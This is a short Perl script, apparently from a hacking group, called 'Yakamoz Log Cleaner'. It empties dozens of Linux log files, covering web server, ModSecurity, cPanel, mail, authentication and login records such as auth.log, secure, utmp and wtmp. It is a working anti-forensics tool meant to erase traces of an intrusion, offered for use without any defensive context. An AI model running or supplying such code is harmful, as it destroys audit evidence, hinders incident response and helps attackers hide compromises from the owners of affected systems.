Perl Log Cleaner

#!/usr/bin/perl
#
#       ---------------------------------
#           Yakamoz Log Cleaner
#           Licence : Linux
#       ---------------------------------
#
#       Title : Yakamoz Log Cleaner V.1.0
#       Code  : Perl
#       Author: Bl4ck.Viper
#       Email : Bl4ck.Viper@Gmail.com
#       Date  : 7/9/2011
#       Home  : TBH Security Center
#       Thanks: TBH , H4ckcity , NOPO , Pentesters (Cru3l.B0y)
#-----------------------------------------------------------------#
system ("clear");
print "\t\t\tYakamoz Log Cleaner\n";
print "\t\t\tCoded By Bl4ck.Viper\n";
print "\t\t\tTBH Security Center\n";
sleep (1);
        print "\n";
        print "\tStarting ...\n";
@logs = ('/etc/httpd/logs/access_log',
'/etc/httpd/logs/access_log.1',
'/etc/httpd/logs/access_log.2',
'/etc/httpd/logs/access_log.3',
'/etc/httpd/logs/access_log.4',
'/etc/httpd/logs/error_log',
'/etc/httpd/logs/error_log.1',
'/etc/httpd/logs/error_log.2',
'/etc/httpd/logs/error_log.3',
'/etc/httpd/logs/error_log.4',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/suexec_log',
'/etc/httpd/logs/modsec_audit.log',
'/etc/httpd/logs/modsec_debug.log',
'/var/log/httpd/error_log',
'/var/log/apache2/error.log',
'/var/log/httpd-error.log',
'/usr/local/cpanel/logs/error_log',
'/usr/local/cpanel/logs/license_log',
'/usr/local/cpanel/logs/stats_log',
'/usr/local/cpanel/logs/access_log',
'/var/log/auth.log',
'/var/log/kern.log',
'/var/log/cron.log',
'/var/log/boot.log',
'/var/log/mysqld.log',
'/var/log/secure',
'/var/log/utmp',
'/var/log/wtmp',
'/var/log/yum.log',
'/var/log/Xorg.0.log',
'/var/log/wvdialconf.log',
'/var/log/user.log',
'/var/log/pycentral.log',
'/var/log/mail.log',
'/var/log/apport.log',
'/var/log/auth.log',
'/var/bootstrap.log',
'/var/log/daemon.log',
'/var/log/dpkg.log',
'/var/log/fontconfig.log',
'/var/log/lpr.log',
'/var/log/chkservd.log',
'/var/log/exim_mainlog',
'/var/log/exim/mainlog',
'/var/log/exim_rejectlog',
'/var/log/exim/rejectlog',
'/var/log/maillog',
'/var/log/messages',
'/usr/local/apache/domlogs/ftpxferlog',
'/var/log/xferlog',
'/var/log/nctfpd.errs',
'/var/log/httpsd/ssl.access_log',
'/var/log/ncftpd/misclog.txt',
'/var/log/nctfpd.errs');

    foreach $log(@logs){

open (LOG, ">$log");
print LOG "";
close (LOG);
print STDOUT "+";
};
print "\n\n";
print "Finish\n";
exit();